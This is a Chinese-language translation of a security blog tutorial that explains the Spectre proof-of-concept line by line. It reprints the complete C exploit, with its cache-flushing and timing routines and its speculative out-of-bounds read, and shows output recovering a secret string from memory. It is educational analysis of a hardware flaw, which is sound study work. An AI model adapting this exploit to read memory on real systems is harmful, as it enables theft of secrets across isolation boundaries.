標籤:

Spectre 攻擊詳解

在本文中,我們將詳細介紹Spectre實現攻擊的細節,該攻擊針對的是AMD、ARM和Intel CPU上發現的漏洞。

源代碼

源代碼如下:

#include <stdio.h>#include <stdint.h>#include <string.h>#ifdef _MSC_VER#include <intrin.h> /* for rdtscp and clflush */#pragma optimize("gt", on)#else#include <x86intrin.h> /* for rdtscp and clflush */#endif/* sscanf_s only works in MSVC. sscanf should work with other compilers*/#ifndef _MSC_VER#define sscanf_s sscanf#endif/********************************************************************Victim code.********************************************************************/unsigned int array1_size = 16;uint8_t unused1[64];uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};uint8_t unused2[64];uint8_t array2[256 * 512];char* secret = "The Magic Words are Squeamish Ossifrage.";uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */void victim_function(size_t x){if (x < array1_size){temp &= array2[array1[x] * 512];}}/********************************************************************Analysis code********************************************************************/#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold *//* Report best guess in value[0] and runner-up in value[1] */void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]){static int results[256];int tries, i, j, k, mix_i;unsigned int junk = 0;size_t training_x, x;register uint64_t time1, time2;volatile uint8_t* addr;for (i = 0; i < 256; i++)results[i] = 0;for (tries = 999; tries > 0; tries--){/* Flush array2[256*(0..255)] from cache */for (i = 0; i < 256; i++)_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction *//* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */training_x = tries % array1_size;for (j = 29; j >= 0; j--){_mm_clflush(&array1_size);for (volatile int z = 0; z < 100; z++){} /* Delay (can also mfence) *//* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 *//* Avoid jumps in case those tip off the branch predictor */x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */x = training_x ^ (x & (malicious_x ^ training_x));/* Call the victim! */victim_function(x);}/* Time reads. Order is lightly mixed up to prevent stride prediction */for (i = 0; i < 256; i++){mix_i = ((i * 167) + 13) & 255;addr = &array2[mix_i * 512];time1 = __rdtscp(&junk); /* READ TIMER */junk = *addr; /* MEMORY ACCESS TO TIME */time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])results[mix_i]++; /* cache hit - add +1 to score for this value */}/* Locate highest & second-highest results results tallies in j/k */j = k = -1;for (i = 0; i < 256; i++){if (j < 0 || results[i] >= results[j]){k = j;j = i;}else if (k < 0 || results[i] >= results[k]){k = i;}}if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */}results[0] ^= junk; /* use junk so code above wont get optimized out*/value[0] = (uint8_t)j;score[0] = results[j];value[1] = (uint8_t)k;score[1] = results[k];}int main(int argc, const char* * argv){printf("Putting %s in memory, address %p
", secret, (void *)(secret));size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */int score[2], len = strlen(secret);uint8_t value[2];for (size_t i = 0; i < sizeof(array2); i++)array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */if (argc == 3){sscanf_s(argv[1], "%p", (void * *)(&malicious_x));malicious_x -= (size_t)array1; /* Convert input value into a pointer */sscanf_s(argv[2], "%d", &len);printf("Trying malicious_x = %p, len = %d
", (void *)malicious_x, len);}printf("Reading %d bytes:
", len);while (--len >= 0){printf("Reading at malicious_x = %p... ", (void *)malicious_x);readMemoryByte(malicious_x++, value, score);printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));printf("0x%02X=%c score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ?), score[0]);if (score[1] > 0)printf("(second best: 0x%02X=%c score=%d)", value[1], (value[1] > 31 && value[1] < 127 ? value[1] : ?), score[1]);printf("
");}#ifdef _MSC_VERprintf("Press ENTER to exit
");getchar();/* Pause Windows console */#endifreturn (0);}

第5行和第8行包含了用於Flush+Reload 緩存攻擊的rdtscp和clflush 的適當文件。注意,這些指令在所有的處理器上都是不可用的。例如,rdtscp(用於讀取時間戳計數器)通常只在較新的CPU上可用。rdtsc更常見,但不是序列化,這意味著CPU可能會對其重新排序,因此對於定時攻擊,會將rdtsc與諸如cpuid之類的序列化指令一起使用。如果沒有可用的rdtscp或者 rdtsc,還有其他的選擇(我計劃在後續的文章中詳細說明在ARM上如何解決這個問題)。

a#ifdef _MSC_VER#include /* for rdtscp and clflush */#pragma optimize("gt", on)#else#include /* for rdtscp and clflush */#endif

在第21行,rray1代表了受害者和攻擊者之間的共享內存空間。我們不關心該區域裡面是什麼。其代碼大小是160位元組,但這只是一個例子:它的另一種代碼大小可以正常工作。

array1被兩個未使用的數組包圍:這些數組對於確保我們命中不同的緩存路徑是很有用的。在許多處理器(如,Intel i3、i5、i7、ARM Cortex A53等)L1緩存每一路徑有64個位元組。

uint8_t unused1[64];uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};uint8_t unused2[64];

在第25行,我們有保密信息。該保密信息只有受害者知道,也正是攻擊者想要恢復的東西。

在PoC中,受害者和攻擊者共享相同的進程。這只是為了讓代碼更簡單。在現實中,受害者和攻擊者共享一個內存空間,攻擊者會具有調用victim_function()(第29-35行)的能力。並且我想知道為什麼密碼原文是「The Magic Words are Squeamish Ossifrage」。這是很奇怪的句子!在本例中,Wikipedia將其解釋為從1977年開始的RSA密碼挑戰的解決方案。

然後,在第27-35行,有易受攻擊的受害者函數。我對第27行的理解是,它是一個調整,以確保編譯器不會在編譯時刪除victim_function() ,victim_function()本身在 Spectre paper的第4部分中得到了很好的解釋。有了超過array1_size x的值,容易受到Spectre攻擊的處理器可以進行如下操作:

1. 讀取array1_size。這一操作會導致緩存丟失。2. 儘管處理器正抓取array1_size——由於存在緩存缺失,array1_size是「長」的——但是分支預測器假設它是正確的(不正確的猜測)。3. 推測讀取array1[x]。該讀取非常快速,因為它是緩存命中。4. 讀取array2[array1[x]* 512]。讀取時間很長(緩存缺失)。5. 雖然步驟4中的讀取正在等待,但是步驟1的值已經到達。處理器檢測到其猜測不正確,並重新調整了自身狀態。uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */void victim_function(size_t x){ if (x < array1_size) { temp &= array2[array1[x] * 512]; }}

不知你是否注意到了,文章提到的 k*256?在這裡k指的是array1[x](也就是array1[x] * 256),然而在代碼array1[x] * 512中也含有array1[x]。乘法因子需要與緩存線路的大小相等。大概在實現的時候,作者意識到對於大多數Intel處理器來說,每一個緩存線路大小都是64位元組,正如我們之前所說。即64 * 8 = 512。這個值依賴於處理器。從第43行開始,我們有了readMemoryByte() 函數。該函數將嘗試猜測位於給定地址的值。對於所有可能的位元組值(有256個),該函數將測試使用Flush+Reload緩存攻擊訪問該值所需的時間。各種時序存儲在results表中,但是函數只返回了兩個最佳猜測。

第52-53行僅僅初始化結果表。這裡沒有緩存攻擊。

for (i = 0; i < 256; i++)results[i] = 0;

緩存攻擊是在第54行和第89行之間實現的。首先,從一個純凈的狀態開始,我們刪除了整個array2表。該表是與攻擊者共享的,它需要能夠存儲256個不同的緩存線路。而緩存線路的大小是512位。

for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

接下來,我們的想法是調用victim_function() 幾次(參見第62-77行)。在序列中,它將:

_mm_clflush(&array1_size);

首先,刷新緩存線路,接下來,根據我的理解,下面的代碼行是用來確保刷新完成的,處理器不會重新排序。該評論提到,mfence可能會被發布,mfence是Intel和AMD的系列化指令。我相信一個cpuida也能工作。

for (volatile int z = 0; z < 100; z++){} /* Delay (can also mfence) */

第三,計算x,這些線路很難理解。我相信作者們本可以找到一些更加可讀的東西;)但是我們會看到這是一個很好的調整。

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 *//* Avoid jumps in case those tip off the branch predictor */x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */x = training_x ^ (x & (malicious_x ^ training_x));

第四,調用victim_function()

與其試圖理解步驟3中的代碼行,還不如更容易地使用aprintf編輯這些代碼,並觀察程序運行時的值。這就是我們得到的:

...j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224...

這些行將生成5次小寫的x,這將導致victim_function(x)接受分支。這五次是用來訓練分支預測器假設分支會被取走。由於之前的5次訓練,一個易受攻擊的過程將會在第6次迭代中執行if分支。

在一個錯誤的分支猜測調用了victim_function() 之後,我們會看到在緩存中訪問給定的位元組值需要多長時間。這才是緩存攻擊的核心(第79-89行)。

/* Time reads. Order is lightly mixed up to prevent stride prediction */for (i = 0; i < 256; i++){ mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */}

正如注釋所言,我們並不是簡單地測量一個序列中每個位元組的訪問時間,而是將它們混合在一起,這樣處理器就無法猜測下一步它將訪問哪個位元組,然後優化訪問。這是第82行處理的。

然後,在第83行,addr = &array2[mix_i * 512] 計算緩存線路的地址來進行檢查。在下面84-86行中,我們測定訪問該緩存線路中一個值的時間。如果速度很快,它就是緩存命中。如果是慢的,就是一個緩存缺失。如果我們有一個緩存命中,就意味著在之前對victim_function()的調用過程中,緩存線路是新近被訪問的。請記住,之前對victim_function()的調用是用一個大寫的x來運行的,目的是誤導處理器。在執行過程中,處理器會推測性地(並錯誤地)訪問array1[x],其x比數組的大小還大得多,因此導致對內存的讀取遠遠超過了數組。x的選擇(或猜測)將會在密文寫入的區域被命中。例如,假設處理器讀取密文中Magic的字母M。因此,array1[x]=M,從而在第33行,處理器訪問array2[M*512]。

提醒一下,這是victim_function()中的第33行:

temp &= array2[array1[x] * 512];

當處理器訪問array2[M*512] 時,它緩存的行號是(byte)M。所以,如果你跟著我到了這一步,你就會明白,這一操作揭示了密文中那個特定字元的值,就像mix_i = array1[x] = M。因此,我們將記錄下來results[M]是一個很好的緩存命中:

if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])results[mix_i]++; /* cache hit - add +1 to score for this value */

對CACHE_HIT_THRESHOLD的測試非常清楚。在其之下是一個緩存命中,之上就不是。對於在研究的時間裡,通過各種各樣的測試來獲得的CACHE_HIT_THRESHOLD的值,我持懷疑態度。為什麼測試mix_i != array1[tries % array1_size]?我不確定這一點,但我懷疑它排除了這個索引,因為該索引通常會提供更多的緩存命中,因為嘗試是當前的索引值。

readMemoryByte的其餘部分並不是很有趣:它只選擇它所發現的兩個位元組值,該選擇是通過驚人的緩存命中實現的。

我們現在跳到了main()開頭的118行:

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */

這裡發生了什麼?在進程內存的布局中,我們有array1,然後是一串位元組,然後是密文。因此,當我們讀取array1超出其在victim_function()的限制時,如果我們想在密文中讀取位元組,我們需要跳過一個給定的位元組偏移量。要計算偏移量,我們知道 array1 + offset = secret。所以, array1 + offset = secret:)

注意,如果我們想運行Spectre代碼來讀取內存的其他部分,這是完全有可能的。見第130 – 124行:

if (argc == 3){ sscanf_s(argv[1], "%p", (void * *)(&malicious_x)); malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf_s(argv[2], "%d", &len); printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len);}

第一個參數是要讀取的地址。第二個參數是我們想要讀取的位元組數。在下面的示例中,我們提供了密文的地址,只讀取了10個位元組。

$ ./spectre.out 0x400d08 10Putting The Magic Words are Squeamish Ossifrage. in memoryReading 10 bytes:Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54=T score=2Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68=h score=2Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65=e score=2Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20= score=2Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D=M score=2Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61=a score=2Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67=g score=2Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69=i score=2Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63=c score=2Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20= score=2

我們也可以試著讀取比密文長度更多的位元組。例如,下面我們讀取100個位元組,並識別內存中的Putting %s字元串,等等。

$ ./spectre.out 0x400d08 100...Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E=. score=2Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00=? score=2Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50=P score=2Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75=u score=2Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74=t score=2Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74=t score=2Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69=i score=2Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E=n score=2Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67=g score=2Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20= score=2Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27= score=2Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25=% score=2Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73=s score=2Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27= score=2Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20= score=2Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69=i score=2Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E=n score=2Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20= score=2Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D=m score=2Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65=e score=2Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D=m score=2Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F=o score=2Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72=r score=2Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79=y score=2Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A=? score=2Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00=? score=2

第133-145行嘗試讀取內存中一個給定偏移量(malicious_x)中的len位元組,使用Spectre攻擊,該攻擊是在readMemoryByte()中實現的。

while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void *)malicious_x); readMemoryByte(malicious_x++, value, score);...

回想一下,我們為readMemoryByte()返回最多的兩個值,記錄了兩個以上的緩存命中。就我個人而言,在我嘗試過的所有案例中,只有一個值或一個都沒有。如果沒有,程序就會顯示「Unclear」這個詞。如果有一個或兩個值,程序將顯示成功並輸出值(參見第137-144行)。

希望你會感到跟隨本文學習代碼的愉快。

本文翻譯自:blog.fortinet.com/2018/,如若轉載,請註明原文地址: 4hou.com/technology/101 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

滙豐銀行等數個主流銀行APP存在漏洞,可被中間人攻擊
Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615
「世界末日」級蠕蟲永恆之石 利用7個NSA漏洞
微軟官方詳細分析Fireball惡意軟體,其實它沒那麼可怕
PowerStager工具分析

TAG:信息安全 |